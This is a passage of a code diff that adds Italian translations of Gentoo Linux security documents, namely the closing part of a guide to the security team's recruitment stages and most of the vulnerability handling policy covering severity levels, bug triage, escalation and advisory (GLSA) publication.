+del bug come descritto nella guida al Coordinatore GLSA). Sfortunatamente,
+questo è permesso solo sui propri bug report. Si sarà autorizzati a modificare e
+muovere altri bug report quando si diventerà uno sviluppatore in prova
+(developer on probation).
+</p>
+
+<p>
+Cercare bug di sicurezza può essere molto difficoltoso e noioso, come un lavoro
+da schiavo. Ci sono diversi modi per rendersi la vita più facile. Alcuni canali
+principali, come Full-Disclosure, hanno un rateo segnale/rumore piuttosto basso,
+ma ci sono anche altre <uri
+link="http://oss-security.openwall.org/wiki/mailing-lists">mailing list</uri>
+come oss-security che sono piu incentrate su venditori di distribuzioni.
+Potreste anche essere interessati a canali secondari, ad esempio ci si puo
+iscrivere a <uri link="https://secunia.com/advisories/">Secunia Advisories</uri>
+attraverso una mailing list, o <uri
+link="http://www.securityfocus.com/bid">BugTraq BIDs</uri> e <uri
+link="http://cve.mitre.org/">CVE identifiers</uri> possono essere seguiti
+tramite i feed RSS. Si possono trovare anche mezzi per gestire agilmente
+identificativi CVE appena assegnati ed eseguire altri compiti di routine al link
+<uri link="http://overlays.gentoo.org/proj/security/timeline">Security
+SVN</uri>. Si prega di consultare il file README lì disponibile.
+</p>
+
+<p>
+InoltreÈ è possibile anche provare a trovare altre attività di proprio
+interesse, come ad esempio aiutare altri sviluppatori che sono in ritardo con la
+pacchettizzazione di ebuild e/o stabilizzando o verificando una vulnerabilità
+dove non è sicuro se Gentoo ne sia affetta o meno. È possibile provare a
+chiedere al proprio mentore per eventuali altre attività.
+</p>
+
+<ul>
+  <li>
+    Si avrà bisogno di: un account su <uri
+    link="https://bugs.gentoo.org/createaccount.cgi">Gentoo bugzilla</uri>
+  </li>
+  <li>Verrà fornito: Nulla</li>
+  <li>
+    Tempo stimato per la promozione: da due settimane ad un mese, in funzione
+    dalle capacità ed abilità personali.
+  </li>
+</ul>
+
+<note>
+Sapete come cercare un bug tramite un identificatore CVE nel Bug tracker di
+altre distribuzioni? Se no, trovatelo o chiedete al vostro mentore.
+</note>
+
+</body>
+</section>
+<section>
+<title>Allievo/Apprendista</title>
+<body>
+
+<p>
+Se si è fatto un buon lavoro come scout, si sarà invitati a diventare un
+apprentice (ndt, allievo/apprendista), venendo aggiunti allo strumento segreto
+chiamato 'GLSAMaker'. Si dovrà rispondere a bozze, commenti e revisioni di
+avvisi di sicurezza. Si sarà anche responsabili della correzione di avvisi
+abbozzati nel minor tempo possibile. Inoltre si dovrebbe comunque mantenere le
+attività di scout. Abbozzare GLSA è solitamente più rilassante che andare a
+caccia di bug, rendendo a questo punto più divertente iniziare il proprio
+lavoro.
+</p>
+
+<ul>
+  <li>
+    Si avrà bisogno di: Imparare le <uri
+    link="/security/it/vulnerability-policy.xml">Politiche di gestione delle
+    vulnerabilità in Gentoo Linux</uri> e la <uri
+    link="/security/it/coordinator_guide.xml">Guida Coordinatore GLSA</uri>
+    con cura
+  </li>
+  <li>Verrà fornito: Un account GLSAMaker</li>
+  <li>
+    Tempo stimato per la promozione: finché non si sarà confidenti sulle
+    capacità di abbozzare un avviso di sicurezza di qualità. Potrebbe prendere
+    intorno ad un mese se si è buoni.
+  </li>
+</ul>
+
+<note>
+Avete gia' letto piu' di una pagina su <uri
+link="http://oss-security.openwall.org/wiki/">oss-security wiki</uri>?
+</note>
+
+</body>
+</section>
+<section>
+<title>Sviluppatore (in prova)</title>
+<body>
+
+<p>
+GLSA significativi e dedizione permettono di accedere alla fase successiva.
+Verrà aperto dal team di sicurezza un bug di reclutamento permettendo di
+attenere la magica potenza di poter modificare e muovere bug compilati da altri.
+Verrà avviato un periodo di prova di 30 giorni in cui bisognerà rispondere
+correttamente a quiz per poter diventare uno sviluppatore a pieno titolo.
+Durante il periodo di prova, sarà necessario usare le nuove responsabilità,
+dimostrando di essere pronti per gestire le stesse.
+</p>
+
+<ul>
+  <li>
+    Si avrà bisogno di: tutto quello richiesto per diventare uno sviluppatore
+    Gentoo
+  </li>
+  <li>
+    Verrà fornito: Un account di sviluppatore Gentoo, adesione a
+    security@gentoo.org e diritti potenziati sul bugzilla
+  </li>
+  <li>Tempo stimato per la promozione: 30 giorni.</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Sviluppatore</title>
+<body>
+
+<p>
+Alla fine del periodo di prova, si diventerà un Coordinatore GLSA a pieno titolo
+potendo inviare e confermare i propri GLSA. Gloria e fama saranno con voi.
+</p>
+
+<ul>
+  <li>Vi serviranno: Lacrime e sudore</li>
+  <li>
+    Vi forniremo: Diritti di commit GLSA, diritti di invio di gentoo-announce,
+    adesione al gruppo www_glsamaker, potere di approvazione di padawan
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Sviluppatore di sicurezza senior</title>
+<body>
+
+<p>
+Per raggiungere il santo graal del percorso di padawan ed avere infiniti poteri,
+si dovrà passare attraverso i classici quiz per sviluppatori per guadagnare i
+diritti di commit sul CVS del portage. Si dovrà dimostrare di non avere altra
+vita fuori dal canale #gentoo-security. Quindi si avrà il potere di mascherare
+eventualmente gli ebuild.
+</p>
+
+<ul>
+  <li>
+    Si avrà bisogno di: superare con successo i quiz per sviluppatore Gentoo
+  </li>
+  <li>
+    Verrà fornito: Diritti di commit sul Portage per mascherare i pacchetti
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/it/vulnerability-policy.xml b/xml/htdocs/security/it/vulnerability-policy.xml
new file mode 100644
index 00000000..18cbd182
--- /dev/null
+++ b/xml/htdocs/security/it/vulnerability-policy.xml
@@ -0,0 +1,831 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/security/it/vulnerability-policy.xml,v 1.6 2009/05/28 20:05:48 scen Exp $ -->
+
+<guide link="/security/it/vulnerability-policy.xml" lang="it">
+<title>Politiche di gestione delle vulnerabilità in Gentoo Linux</title>
+
+<author title="Autore">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+<author title="Autore">
+   <mail link="jaervosz@gentoo.org">Sune Kloppenborg Jeppesen</mail>
+</author>
+<author title="Autore">
+  <mail link="vorlon@gentoo.org">Matthias Geerdsen</mail>
+</author>
+<author title="Autore">
+  <mail link="rbu@gentoo.org">Robert Buchholz</mail>
+</author>
+<author title="Traduzione">
+  <mail link="walpis@yahoo.it">Walter Pisani</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Questo documento descrive le politiche usate in Gentoo Linux per gestire le
+vulnerabilità scoperte nei pacchetti resi disponibili agli utenti.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>1.2.7</version>
+<date>2009-04-14</date>
+
+<chapter>
+<title>Scopo</title>
+<section>
+<title>Architetture supportate</title>
+<body>
+
+<p>
+Gentoo Linux è offerto sulle principali differenti architetture. Alcune di
+queste architetture hanno più sviluppatori di altre, e di fatto rispondono alle
+nuove vulnerabilità di sicurezza più velocemente. Mentre l'obiettivo finale del
+Progetto Sicurezza di Gentoo è di garantire che tutte le architetture ricevano
+le correzioni di sicurezza simultaneamente, bisogna anche bilanciare
+questo obbiettivo con l'obbiettivo di rilasciare le correzioni di sicurezza e le
+GLSA il più velocemente possibile in modo che la maggioranza degli utenti siano
+informati e protetti.
+</p>
+
+<p>
+Per questa ragione, il team di sicurezza ha separato le architetture Gentoo in
+due gruppi, <b>supportate</b> e <b>non supportate</b>:
+</p>
+
+<ul>
+  <li>
+    <b>Supportate:</b> Queste architetture devono avere una correzione stabile
+    applicata prima che la GLSA possa essere rilasciata
+  </li>
+  <li>
+    <b>Non supportate:</b> A queste architetture saranno notificate nuove
+    vulnerabilità (cc sui relativi bugs), Tuttavia, non si attenderà una
+    correzione stabile su queste architetture prima di pubblicare la GLSA e
+    chiudere il bug
+  </li>
+</ul>
+
+<p>
+Questa è la lista delle architetture attualmente supportate:
+</p>
+
+<table>
+<tr>
+  <th>Architetture supportate (in ordine alfabetico)</th>
+</tr>
+<tr>
+  <ti>alpha</ti>
+</tr>
+<tr>
+  <ti>amd64</ti>
+</tr>
+<tr>
+  <ti>hppa</ti>
+</tr>
+<tr>
+  <ti>ppc</ti>
+</tr>
+<tr>
+  <ti>ppc64</ti>
+</tr>
+<tr>
+  <ti>sparc</ti>
+</tr>
+<tr>
+  <ti>x86</ti>
+</tr>
+</table>
+
+<p>
+Tutte le architetture sono benvenute e incoraggiate a diventare una
+architettura supportata. Ci sono due semplici criteri che bisogna seguire per
+essere ufficialmente supportati dal Progetto Sicurezza di Gentoo:
+</p>
+
+<ul>
+  <li>
+    Designare uno sviluppatore come punto principale di contatto per le
+    pubblicazioni sulla sicurezza (Referente per la Sicurezza dell'Architettura)
+    relative alla sua architettura. Questa persona ha la responsabilità di
+    garantire che i bug di sicurezza siano adeguatamente risolti sulla loro
+    particolare architettura
+  </li>
+  <li>
+    Aderire all'osservanza delle scadenze pubblicate per i test e la marcatura
+    di stabilità dei pacchetti
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Release Engineering</title>
+<body>
+
+<p>
+Il Progetto Release Engineering ("releng") nomina uno sviluppatore a contatto
+principale per i problemi di sicurezza.
+</p>
+
+<p>
+Release Engineering informata il Progetto Sicurezza di Gentoo quando viene
+fatto un primo snapshot dell'albero per i supporti dei rilasci. Iniziando con
+il primo snapshot fino al supporto ufficiale del rilascio ("periodo di
+preparazione al rilascio"), Release Engineering (l'incaricato per la sicurezza
+in caso di problemi confidenziali) dovrebbe essere inserito in CC per ciascun
+bug di sicurezza che entra nella fase di stabilizzazione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Kernel</title>
+<body>
+
+<p>
+Attualmente i kernel non sono coperti dal processo di rilascio delle GLSA. Le
+vulnerabilità devono ancora essere riportate e verranno corrette, ma <e>non
+verrà emenata nessuna GLSA</e> a seguito della completa risoluzione del
+problema.
+</p>
+
+<note>
+Questa politica potrebbe essere cambiata quando verranno aggiunti nuovi
+strumenti per coprire le vulnerabilità di sicurezza che affliggono i diversi
+sorgenti dei kernel.
+</note>
+
+</body>
+</section>
+<section>
+<title>Pacchetti non stabili</title>
+<body>
+
+<p>
+Qualche volta viene rilevata una vulnerabilità in un pacchetto che non fa parte
+dell'insieme dei pacchetti stabili. Questo è il caso quando la vulnerabilità è
+una regressione di sicurezza in un nuovo (~ARCH) ebuild, ma i vecchi (stabili)
+pacchetti non ne sono affetti, o quando il pacchetto non ha mai avuto alcun
+ebuild stabile nel tree. In questo caso la vulnerabilità deve essere ancora
+riportata e sarà risolta, ma <e>nessuna GLSA sarà pubblicata</e> fino a quando
+tutto sarà risolto.
+</p>
+
+<note>
+Questa politica potrebbe essere cambiata quando gli strumenti del
+team di sicurezza supporteranno percorsi di aggiornamento più complessi e se un
+numero sufficiente di coordinatori GLSA si aggregherà al team di sicurezza.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Tipi di vulnerabilità</title>
+<section>
+<title>Vulnerabilità pubbliche</title>
+<body>
+
+<p>
+Ogni vulnerabilità deve inizialmente essere inserita in <uri
+link="https://bugs.gentoo.org">Bugzilla</uri> con prodotto "Gentoo Security" e
+componente "Vulnerabilities" (assegnato a <mail
+link="security@gentoo.org">security@gentoo.org</mail>). Le maggiori liste di
+sicurezza devono avere delle persone che ufficialmente verificano che tutte le
+vulnerabilità annunciate su queste liste siano state inserite in bugzilla.
+</p>
+
+</body>
+</section>
+<section>
+<title>Vulnerabilità confidenziali</title>
+<body>
+
+<p>
+Le vulnerabilità confidenziali (che per esempio provengono direttamente dagli
+sviluppatori o da una lista di sicurezza riservata dei venditori) devono seguire
+una procedura specifica. Esse non devono apparire pubblicamente in Bugzilla, ma
+solo in un mezzo di sicurezza riservato, come una sezione riservata di Bugzilla
+o lo strumento GLSAMaker. Esse devono essere ricevute correttamente utilizzando
+un canale di comunicazione privato tra il coordinatore GLSA e il mantenitore del
+pacchetto.
+</p>
+
+<note>
+Le comunicazioni per le vulnerabilità confidenziali devono essere criptate e
+devono essere inviate ai membri del team di sicurezza e criptate con le loro
+chiavi GPG. La lista dei membri del team di sicurezza è disponibile su <uri
+link="http://security.gentoo.org">security.gentoo.org</uri>, le loro chiavi di
+identificazione possono essere individuate sull'<uri
+link="http://www.gentoo.org/proj/en/devrel/roll-call/userinfo.xml">Elenco degli
+Sviluppatori Gentoo Linux</uri> e le loro chiavi possono essere prese dal server
+delle chiavi <uri link="http://subkeys.pgp.net:11371">subkeys.pgp.net</uri>.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Rapidità</title>
+<section>
+<title>Livelli di Severità</title>
+<body>
+
+<p>
+Per dare dei tempi di reazione appropriati e delle procedure di escalation,
+c'è bisogno di assegnare dei livelli di severità ad ogni vulnerabilità. Questi
+livelli di severità devono essere basati su quanto è diffuso il software affetto
+fra gli utenti Gentoo e quanto sia profonda la vulnerabilità.
+</p>
+
+<p>
+Le seguenti due tavole possono aiutare nell'assegnazione del livello di
+severità:
+</p>
+
+<table>
+<tr>
+  <th>Quanto è diffuso il pacchetto</th>
+  <th>Configurazioni affette</th>
+  <th> </th>
+</tr>
+<tr>
+  <ti>Pacchetto di sistema</ti>
+  <ti>Predefinito o specifico</ti>
+  <ti>A</ti>
+</tr>
+<tr>
+  <ti>
+    Pacchetto comune (si suppone sia presente almeno in 1/20 delle installazioni
+    di Gentoo)
+  </ti>
+  <ti>Predefinito</ti>
+  <ti>A</ti>
+</tr>
+<tr>
+  <ti></ti>
+  <ti>Specifico</ti>
+  <ti>B</ti>
+</tr>
+<tr>
+  <ti>
+    Software marginale (si suppone sia presente in meno di 1/20 delle
+    installazioni di Gentoo)
+  </ti>
+  <ti>Predefinito</ti>
+  <ti>B</ti>
+</tr>
+<tr>
+  <ti> </ti>
+  <ti>Specifico</ti>
+  <ti>C</ti>
+</tr>
+<tr>
+  <ti>Pacchetto che non ha mai avuto una versione stabile affetta</ti>
+  <ti>Predefinito or Specifico</ti>
+  <ti>~</ti>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Valutare i tipi di vulnerabilità</th>
+  <th> </th>
+  <th>Corrispondente severità della GLSA</th>
+</tr>
+<tr>
+  <ti>
+    Sistema remoto completamente compromesso: codice arbitrario eseguito in
+    remoto con privilegi di root
+  </ti>
+  <ti>0</ti>
+  <ti>high (alto)</ti>
+</tr>
+<tr>
+  <ti>
+    Attività remote compromesse: codice arbitrario direttamente eseguito a
+    distanza con diritti ridotti o a livello utente su un server
+  </ti>
+  <ti>1</ti>
+  <ti>high (alto)</ti>
+</tr>
+<tr>
+  <ti>
+    Aumento di privilegi locali: difetto che abilita l'utilizzo di root quando
+    si ha un accesso locale
+  </ti>
+  <ti>1</ti>
+  <ti>high (alto)</ti>
+</tr>
+<tr>
+  <ti>
+    Compromissione remota passiva: codice arbitrario eseguito in remoto
+    inducendo un utente a visitare un server non sicuro o usando dati malevoli
+  </ti>
+  <ti>2</ti>
+  <ti>normal (normale)</ti>
+</tr>
+<tr>
+  <ti>
+    Compromissione di servizi globali: blocco di servizi, completa sottrazione
+    di password, database, perdita di dati (attacchi tramite collegamenti
+    simbolici...)
+  </ti>
+  <ti>3</ti>
+  <ti>normal (normale)</ti>
+</tr>
+<tr>
+  <ti>Altro: Cross-Site Scripting, sottrazione di informazioni...</ti>
+  <ti>4</ti>
+  <ti>low (basso)</ti>
+</tr>
+</table>
+
+<p>
+Questa è la tabella con i livelli di severità. Essa dev'essere uguale ai livelli
+di severità in bugzilla:
+</p>
+
+<table>
+<tr>
+  <th>Livello di severità</th>
+  <th>Valutazioni corrispondenti</th>
+  <th>Tempo di attesa</th>
+  <th>GLSA</th>
+</tr>
+<tr>
+  <ti>Blocker (Bloccante)</ti>
+  <ti>A0, B0</ti>
+  <ti>1 giorno</ti>
+  <ti>sì</ti>
+</tr>
+<tr>
+  <ti>Critical (Critico)</ti>
+  <ti>A1, C0</ti>
+  <ti>3 giorni</ti>
+  <ti>sì</ti>
+</tr>
+<tr>
+  <ti>Major (Maggiore)</ti>
+  <ti>A2, B1, C1</ti>
+  <ti>5 giorni</ti>
+  <ti>sì</ti>
+</tr>
+<tr>
+  <ti>Normal (Normale)</ti>
+  <ti>A3, B2, C2</ti>
+  <ti>10 giorni</ti>
+  <ti>sì</ti>
+</tr>
+<tr>
+  <ti>Minor (Minore)</ti>
+  <ti>A4, B3, B4, C3</ti>
+  <ti>20 giorni</ti>
+  <ti>?</ti>
+</tr>
+<tr>
+  <ti>Trivial (Non importante)</ti>
+  <ti>C4, ~0, ~1, ~2, ~3, ~4</ti>
+  <ti>40 giorni</ti>
+  <ti>no</ti>
+</tr>
+</table>
+
+<note>
+Il tempo di attesa indicato nella tabella è il tempo massimo tra il rilascio di
+una correzione da parte dello sviluppatore originale del pacchetto e il rilascio
+di un ebuild stabile e la corrispondente GLSA.
+</note>
+
+</body>
+</section>
+<section>
+<title>Regole per i "wrangler" di bug di sicurezza</title>
+<body>
+
+<p>
+Qualcuno deve assumersi la responsabilità di "wrangler" (ndT: letteralmente
+"attaccabrighe", in questo caso è colui che deve gestire per primo i bug report
+non assegnati in modo specifico) dei bug di sicurezza ed eseguire i seguenti
+passi in caso di nuove vulnerabilità in <uri
+link="https://bugs.gentoo.org">Bugzilla</uri>:
+</p>
+
+<ul>
+  <li>
+    Verificare i duplicati: se il bug che descrive una vulnerabilità è gia
+    riportato, deve essere impostato su DUPLICATE
+  </li>
+  <li>
+    Verifica di componenti sbagliati: se il bug non è una vulnerabilità il
+    componente deve essere impostato appropriatamente
+  </li>
+  <li>
+    Verificare se il bug è veramente una vulnerabilità e se il pacchetto di
+    Gentoo Linux ne è affetto, altrimenti impostare il bug su INVALID
+  </li>
+</ul>
+
+<p>
+Durante questa fase può essere necessario chiedere ulteriori dettagli a chi ha
+riportato il bug. Quest'ultimo rimane con stato NEW finche è necessario. Quando
+(se) il bug supera questi test di validità, dovrebbe essere accettato e il
+wrangler del bug deve fare quanto segue:
+</p>
+
+<ul>
+  <li>
+    Rinominare il bug includendo la categoria/nome del pacchetto all'inizio (per
+    esempio: "net-mail/clamav: DoS usando file RAR")
+  </li>
+  <li>Valutare e assegnare un livello di severità (vedere sopra)</li>
+  <li>impostare lo stato in ASSIGNED</li>
+  <li>
+    Aggiornare il campo "Status Whiteboard" con il corretto codice e stato della
+    severità
+  </li>
+  <li>
+    Inserire nel campo CC del bug i mantenitori del pacchetto in base alle
+    informazioni contenute nel file metadata del pacchetto stesso
+  </li>
+  <li>
+    impostare il campo URL con l'indirizzo del relativo bug upstream o a
+    qualcosa di simile
+  </li>
+  <li>
+    cercare identificatori CVE riservati o assegnati e aggiungerli al titolo del
+    bug, altrimenti richiedere un CVE
+  </li>
+  <li>
+    opzionalmente assegnare un coordinatore GLSA al bug, e aggiungere il nome
+    del coordinatore nel campo "Status Whiteboard"
+  </li>
+</ul>
+
+<warn>
+Non cambiare la severità del bug una volta che è stato assegnato. Se si vuole
+aumentare la pressione sullo sviluppatore riguardo alla necessità di risoluzione
+del bug, usare preferibilmente il campo di Priorità.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Tempo a disposizione e procedure di backup</title>
+<body>
+
+<p>
+Questo controllo deve essere fatto velocemente dopo la crezione del bug per dare
+poco tempo alle vulnerabilità maggiori e mostrare un apprezzamento al reporter
+del bug. Il tempo a disposizione è di 12 ore. Il wrangler del bug di sicurezza
+deve fare una lista dei possibili coordinatori GLSA con la disponibilità e aree
+di specializzazione preferite. Per assicurare una permanente invio, il lavoro di
+wrangler dei bug di sicurezza dovrebbe avere dei rimpiazzi appropriati.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Correzione dei bug e bozze della GLSA</title>
+<section>
+<title>Regole del coordinatore GLSA</title>
+<body>
+
+<p>
+Il coordinatore GLSA è responsabile dei seguenti punti:
+</p>
+
+<ul>
+  <li>
+    determinare cosa deve essere fatto per chiudere la vulnerabilità (per
+    esempio identificare la versione rilasciata dagli sviluppatori originali
+    contenente la correzione)
+  </li>
+  <li>
+    se la correzione non è stata ancora resa disponibile dagli sviluppatori
+    originali, assicurarsi che il bug sia correttamente segnalato ad essi e che
+    il campo "Status Whiteboard" sia in <c>upstream</c>
+  </li>
+  <li>
+    se la correzione è disponibile, impegnare il  mantenitore del pacchetto a
+    produrre e effettuare il commit di un'ebuild contenente la correzione
+    aggiornando il campo "Status Whiteboard" a <c>ebuild</c>
+  </li>
+  <li>
+    una volta effettuato il commit dell'ebuild, valutare le keyword necessarie
+    per l'ebuild corretto e far testare (e far contrassegnare come stabile)
+    l'ebuild contenente la correzione ai relativi team delle specifiche
+    architetture coinvolte (i team delle architetture, nonchè releng durante la
+    preparazione al rilascio, devono essere in cc sul bug) e impostare il campo
+    "Status Whiteboard" a <c>stable</c>
+  </li>
+  <li>
+    I mantenitori delle architetture dovrebbero contrassegnare l'ebuild stabile
+    se non c'è regressione nell'ebuild contenente la correzione rispetto
+    all'ultima versione vulnerabile
+  </li>
+  <li>
+    in parallelo, scrivere una bozza di GLSA usando lo strumento GLSAMaker
+  </li>
+  <li>
+    Quando l'ebuild correttivo è pronto per tutte le architetture supportate,
+    impostare il campo "Status Whiteboard" a <c>glsa</c>
+  </li>
+</ul>
+
+<note>
+Se il bug progredisce ed il coordinatore GLSA assegnato non reagisce, gli altri
+membri del team di sicurezza possono aiutare a mantenere attivo il bug
+aggiornandone lo stato.
+</note>
+
+</body>
+</section>
+<section>
+<title>Tempo a disposizione e procedure di escalation</title>
+<body>
+
+<p>
+Avendo poco tempo per la risoluzione della vulnerabilità, sono state definite
+un numero di procedure di escalation. Incluse queste:
+</p>
+
+<ul>
+  <li>
+    quando un bug in stato di attesa ha un bisogno urgente di essere corretto,
+    bisogna cambiare il campo "Status Whiteboard" aggiungendo una "+" alle
+    controparti: <c>upstream+</c>, <c>ebuild+</c>,<c>stable+</c> e <c>glsa+</c>
+  </li>
+  <li>
+    se non è disponibile nessuna correzione da parte degli sviluppatori
+    originali del pacchetto (in stato <c>upstream+</c>), deve essere presa
+    una decisione per mascherare il pacchetto: il team di sicurezza può
+    mascherare un pacchetto che non dipende da sè stesso, ma necessita
+    dell'approvazione di un responsabile principale prima di mascherare un
+    pacchetto che non è assestante.
+  </li>
+  <li>
+    se il mantenitore non mostra progressi nel produrre l'ebuild entro 48 ore
+    dopo il sollecito (stato <c>ebuild+</c>), il team di sicurezza deve provare
+    creare l'ebuild da sè
+  </li>
+  <li>
+    se i test e le correzioni impiegano troppo tempo (stato <c>stable+</c>), il
+    team di sicurezza cercherà sui canali IRC e nella lista gentoo-dev di
+    prendere più tester. Altrimenti contrassegnerà l'ebuild come stabile da sè
+    o, nell'eventualità che questo non possa essere fatto per problemi di
+    stabilità, mascherarlo (vedere la politica di approvazione per il
+    mascheramento di sicurezza qui sopra)
+  </li>
+  <li>
+    se il coordinatore della GLSA non presenta una bozza della GLSA (stato
+    <c>glsa+</c>), gli altri membri del team di sicurezza devono fare una bozza
+    della GLSA e inviarla per presa visione
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Buone abitudini per i bug di sicurezza</title>
+<body>
+
+<p>
+I bug di sicurezza differiscono da altri bug, in quanto un facile e semplice
+percorso di aggiornamento deve essere presentato agli utenti tramite la GLSA. Di
+conseguenza i mantenitori del pacchetto e i coordinatori GLSA deveno seguire
+queste semplici buone abitudini.
+</p>
+
+<ul>
+  <li>
+    L'ebuild incluso nella correzione di sicurezza deve avere un proprio numero
+    di versione, in modo che venga preso nel normale processo di aggiornamente
+    del sistema: usare gli incrementi di versione se necessario
+  </li>
+  <li>
+    L'ebuild incluso nella correzione di sicurezza deve avere un numero di
+    versione maggiore rispetto alle precedenti versioni pubblicate, in modo
+    che un facile processo di aggiornamento possa essere proposto agli utenti
+  </li>
+  <li>
+    Nel caso di una patch, deve essere applicata solo alla versione più recente,
+    non c'è bisogno di un incremento di versione per tutti gli ebuild con la
+    versione contenente la patch
+  </li>
+  <li>
+    Le versioni vulnerabili devono essere lasciate nel tree finche il bug
+    entrerà nello stato <c>stable</c>, per valutare correttamente che keyword
+    siano disponibili per la versione contenente la correzione
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>GLSA temporanee</title>
+<body>
+
+<p>
+Se una vulnerabilità <e>blocker</e> o <e>critical</e> o <e>major</e> non può
+essere totalmente corretta nel tempo indicato un allarme immediato GLSA deve
+essere scritta con le informazioni su cosa fare. Questa GLSA sarà sostituita da
+una GLSA finale nel momento in cui la correzione definitiva sarà disponibile.
+</p>
+
+<p>
+Se un pacchetto comune (tipo A o B) è nascosto (masked) per ragioni di
+sicurezza, una GLSA temporanea deve essere pubblicata per spiegare perchè non è
+disponibile e/o perchè gli utenti devono disinstallare la versione corrente.
+Quasta GLSA sarà sostituita dalla GLSA finale quando la correzione e il
+relativo pacchetto saranno disponibili.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Processi della pubblicazione GLSA</title>
+<section>
+<title>Revisione</title>
+<body>
+
+<p>
+Quando è pronta, una GLSA deve essere sottoposta a revisione, due membri del
+team di sicurezza devono approvare la bozza della GLSA. Quando la bozza passa il
+processo di revisione, gli viene assegnato un numero ufficiale GLSA
+</p>
+
+</body>
+</section>
+<section>
+<title>Rilascio di GLSA</title>
+<body>
+
+<p>
+Quando la GLSA passa il processo di revisione (e dopo essersi assicurari che
+l'ebuild sia entrato nel ramo stabile), il coordinatore GLSA deve scrivere l'XML
+della GLSA nel repository del Gentoo CVS. Fatto questo,la GLSA comparirà
+automaticamente sulla <uri link="http://glsa.gentoo.org">pagina
+ufficiale dell'indice delle GLSA</uri> e nel <uri
+link="http://www.gentoo.org/rdf/en/glsa-index.rdf">RDF feed</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Pubblicazione della GLSA</title>
+<body>
+
+<p>
+La versione GLSA in formato testo deve essere pubblicata dal coordinatore GLSA
+sui seguenti mezzi di comunicazione:
+</p>
+
+<table>
+<tr>
+  <ti>Gentoo Linux official announcement mailing-list</ti>
+  <ti>
+    <mail link="gentoo-announce@lists.gentoo.org">
+    gentoo-announce@lists.gentoo.org</mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Bugtraq security mailing-list</ti>
+  <ti>
+    <mail link="bugtraq@securityfocus.com">bugtraq@securityfocus.com</mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Full-disclosure security mailing-list</ti>
+  <ti>
+    <mail
+    link="full-disclosure@lists.grok.org.uk">full-disclosure@lists.grok.org.uk
+    </mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Linuxsecurity.com advisories service</ti>
+  <ti>
+    <mail
+    link="security-alerts@linuxsecurity.com">security-alerts@linuxsecurity.com
+    </mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Gentoo Linux announcement forum</ti>
+  <ti><uri>http://forums.gentoo.org/viewforum.php?f=16</uri></ti>
+</tr>
+</table>
+
+<p>
+Deve essere inviata una singola email, con le seguenti regole:
+</p>
+
+<ul>
+  <li>Il campo <c>To:</c> deve essere gentoo-announce</li>
+  <li>Il campo <c>Cc:</c> deve contenere gli altri indirizzi mail</li>
+  <li>
+    I campi <c>From:</c> e <c>Return-Path:</c> devono contenere gli indirizzi
+    @gentoo.org dei coordinatori GLSA
+  </li>
+  <li>
+    Il campo <c>Subject:</c> deve essere "[ GLSA XXXXYY-ZZ ] Inserire qui la
+    vulnerabilità"
+  </li>
+  <li>Il corpo della mail deve contenere solo la versione testo della GLSA</li>
+  <li>La mail deve essere firmato con la chiave GPG del coordinatore GLSA</li>
+</ul>
+
+<note>
+Le chiavi ID degli sviluppatori sono reperibili nella <uri
+link="http://www.gentoo.org/proj/en/devrel/roll-call/userinfo.xml">Lista degli
+Sviluppatori</uri>di Gentoo Linux. Tutte le chiavi GPG del team di sicurezza
+sono pubblicate sul server delle chiavi pubbliche, incluse (ma non limitate a)
+<uri link="http://subkeys.pgp.net:11371">subkeys.pgp.net</uri>.
+</note>
+
+<note>
+Per minimizzare errori sul processo di pubblicazione, viene ricevuto un avviso
+automatico di avvenuta pubblicazione.
+</note>
+
+<p>
+Quando il GLSA viene pubblicato, il corrispettivo bug in bugzilla deve essere
+impostato a FIXED, con il numero GLSA di riferimento nella sezione commenti del
+bug.
+</p>
+
+</body>
+</section>
+<section>
+<title>GLSA errate</title>
+<body>
+
+<p>
+A volte un errore supera il processo di revisione e una GLSA non corretta viene
+pubblicata al mondo. A secondo della criticità dell'errore, la seguente politica
+per errori di stampa deve essere applicata:
+</p>
+
+<table>
+<tr>
+  <th>Tipi di errori di stampa</th>
+  <th>Cosa fare</th>
+</tr>
+<tr>
+  <ti>Tipi: presentazione, errori di grammatica o di sintassi</ti>
+  <ti>Niente</ti>
+</tr>
+<tr>
+  <ti>
+    Errore nel titolo: il titolo di un altro pacchetto o non descrive la
+    vulnerabilità correttamente
+  </ti>
+  <ti>Un errore di stampa deve essere pubblicato, replicando quello errato</ti>
+</tr>
+<tr>
+  <ti>Errore nella descrizione: il problema non è descritto correttamente</ti>
+  <ti>L'XML della GLSA deve essere corretto, ma non pubblicato</ti>
+</tr>
+<tr>
+  <ti>
+    Omissione: la GLSA è corretta ma incompleta, inoltre bisogna aggiornare un
+    altro pacchetto per prendere la protezione dalla vulnerabilità
+  </ti>
+  <ti>
+    Una GLSA separata deve essere pubblicata sull'altro pacchetto vulnerabile
+  </ti>
+</tr>
+<tr>
+  <ti>
+    Errore nel numero di versione infetta/non infetta, ma la gente usa un
+    pacchetto stabile e applicando le istruzioni della GLSA sono comunque
+    protetti
+  </ti>
